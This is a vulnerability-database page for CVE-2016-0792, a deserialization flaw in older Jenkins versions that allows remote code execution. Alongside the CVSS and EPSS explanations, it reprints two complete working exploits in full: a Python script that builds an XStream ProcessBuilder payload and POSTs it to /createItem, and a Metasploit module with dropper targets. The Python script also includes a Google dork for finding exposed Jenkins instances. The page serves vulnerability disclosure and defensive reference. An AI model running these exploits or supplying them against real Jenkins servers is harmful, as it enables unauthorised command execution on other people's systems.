CVE-2016-0792 : Detail

CVE-2016-0792

8.8
/
High
A03-Injection
96.81%V3
Network
2016-04-07
21h00 +00:00
2018-01-04
18h57 +00:00
CVE.org
NVD
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CVE Descriptions

Multiple unspecified API endpoints in Jenkins before 1.650 and LTS before 1.642.2 allow remote authenticated users to execute arbitrary code via serialized data in an XML file, related to XStream and groovy.util.Expando.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 8.8 HIGH CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 42394

Publication date : 2017-07-29 22h00 +00:00
Author : Janusz Piechówka
EDB Verified : Yes

import random import string from decimal import Decimal import requests from requests.exceptions import RequestException # Exploit Title: Jenkins CVE-2016-0792 Deserialization Remote Exploit # Google Dork: intitle: "Dashboard [Jenkins]" + "Manage Jenkins" # Date: 30-07-2017 # Exploit Author: Janusz Piechówka # Github: https://github.com/jpiechowka/jenkins-cve-2016-0792 # Vendor Homepage: https://jenkins.io/ # Version: Versions before 1.650 and LTS before 1.642.2 # Tested on: Debian # CVE : CVE-2016-0792 def prepare_payload(command): splitCommand = command.split() preparedCommands = '' for entry in splitCommand: preparedCommands += f'<string>{entry}</string>' xml = f''' <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command>{preparedCommands}</command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map>''' return xml def exploit(url, command): print(f'[*] STARTING') try: print(f'[+] Trying to exploit Jenkins running at address: {url}') # Perform initial URL check to see if server is online and returns correct response code using HEAD request headResponse = requests.head(url, timeout=30) if headResponse.status_code == requests.codes.ok: print(f'[+] Server online and responding | RESPONSE: {headResponse.status_code}') # Check if X-Jenkins header containing version is present then proceed jenkinsVersionHeader = headResponse.headers.get('X-Jenkins') if jenkinsVersionHeader is not None: # Strip version after second dot from header to perform conversion to Decimal stripCharacter = "." strippedVersion = stripCharacter.join(jenkinsVersionHeader.split(stripCharacter)[:2]) # Perform basic version check if Decimal(strippedVersion) < 1.650: print(f'[+] Jenkins version: {Decimal(strippedVersion)} | VULNERABLE') # Prepare payload payload = prepare_payload(command) # Prepare POST url randomJobName = ''.join(random.SystemRandom().choice(string.ascii_lowercase + string.digits) for _ in range(8)) if url.endswith('/'): postUrl = f'{url}createItem?name={randomJobName}' else: postUrl = f'{url}/createItem?name={randomJobName}' print(f'[+] Will POST to {postUrl}') # Try to execute passed command postResponse = requests.post(postUrl, data=payload, headers={'Content-Type': 'application/xml'}) print(f'[+] Exploit launched ') # 500 response code is ok here print(f'[+] Response code: {postResponse.status_code} ') if postResponse.status_code == 500: print('[+] SUCCESS') else: print('[-][ERROR] EXPLOIT LAUNCHED, BUT WRONG RESPONSE CODE RETURNED') else: print(f'[-][ERROR] Version {Decimal(strippedVersion)} is not vulnerable') else: print(f'[-][ERROR] X-Jenkins header not present, check if Jenkins is actually running at {url}') else: print(f'[-][ERROR] {url} Server did not return success response code | RESPONSE: {headResponse.status_code}') except RequestException as ex: print(f'[-] [ERROR] Request exception: {ex}') print('[*] FINISHED')
Exploit Database EDB-ID : 43375

Publication date : 2017-12-18 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins XStream Groovy classpath Deserialization Vulnerability', 'Description' => %q{ This module exploits CVE-2016-0792 a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability. }, 'Author' => [ 'Arshan Dabirsiaghi', # Vulnerability discovery 'Matt Byrne <attackdebris[at]gmail.com>' # Metasploit module ], 'DisclosureDate' => 'Feb 24 2016', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2016-0792'], ['URL', 'https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2-xstream'], ['URL', 'https://wiki.jenkins.io/pages/viewpage.action?pageId=95585413'] ], 'Platform' => %w{ win linux unix }, 'Arch' => [ARCH_CMD, ARCH_PYTHON, ARCH_X86, ARCH_X64], 'Targets' => [ ['Unix (In-Memory)', 'Platform' => 'unix', 'Arch' => ARCH_CMD ], ['Python (In-Memory)', 'Platform' => 'python', 'Arch' => ARCH_PYTHON ], ['Linux (Dropper)', 'Platform' => 'linux', 'Arch' => [ARCH_X86, ARCH_X64] ], ['Windows (Dropper)', 'Platform' => 'win', 'Arch' => [ARCH_X86, ARCH_X64] ] ], 'DefaultTarget' => 0 )) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins', '/']), Opt::RPORT('8080') ]) deregister_options('URIPATH') end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f < 1.650 return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit case target.name when /Unix/, /Python/ execute_command(payload.encoded) else execute_cmdstager end end # Exploit methods def execute_command(cmd, opts = {}) cmd = case target.name when /Unix/, /Linux/ %W{/bin/sh -c #{cmd}} when /Python/ %W{python -c #{cmd}} when /Windows/ %W{cmd.exe /c #{cmd}} end # Encode each command argument with XML entities cmd.map! { |arg| arg.encode(xml: :text) } res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/createItem'), 'vars_get' => { 'name' => 'random' }, 'ctype' => 'application/xml', 'data' => xstream_payload(cmd) ) end def xstream_payload(cmd) <<EOF <map> <entry> <groovy.util.Expando> <expandoProperties> <entry> <string>hashCode</string> <org.codehaus.groovy.runtime.MethodClosure> <delegate class="groovy.util.Expando"/> <owner class="java.lang.ProcessBuilder"> <command> <string>#{cmd.join('</string><string>')}</string> </command> </owner> <method>start</method> </org.codehaus.groovy.runtime.MethodClosure> </entry> </expandoProperties> </groovy.util.Expando> <int>1</int> </entry> </map> EOF end end

Products Mentioned

Configuraton 0

Jenkins>>Jenkins >> Version To (including) 1.649

Configuraton 0

Redhat>>Openshift >> Version 3.1

Configuraton 0

Jenkins>>Jenkins >> Version To (including) 1.642.1

References

https://www.exploit-db.com/exploits/43375/
Tags : exploit, x_refsource_EXPLOIT-DB
https://access.redhat.com/errata/RHSA-2016:0711
Tags : vendor-advisory, x_refsource_REDHAT
https://www.exploit-db.com/exploits/42394/
Tags : exploit, x_refsource_EXPLOIT-DB
http://rhn.redhat.com/errata/RHSA-2016-1773.html
Tags : vendor-advisory, x_refsource_REDHAT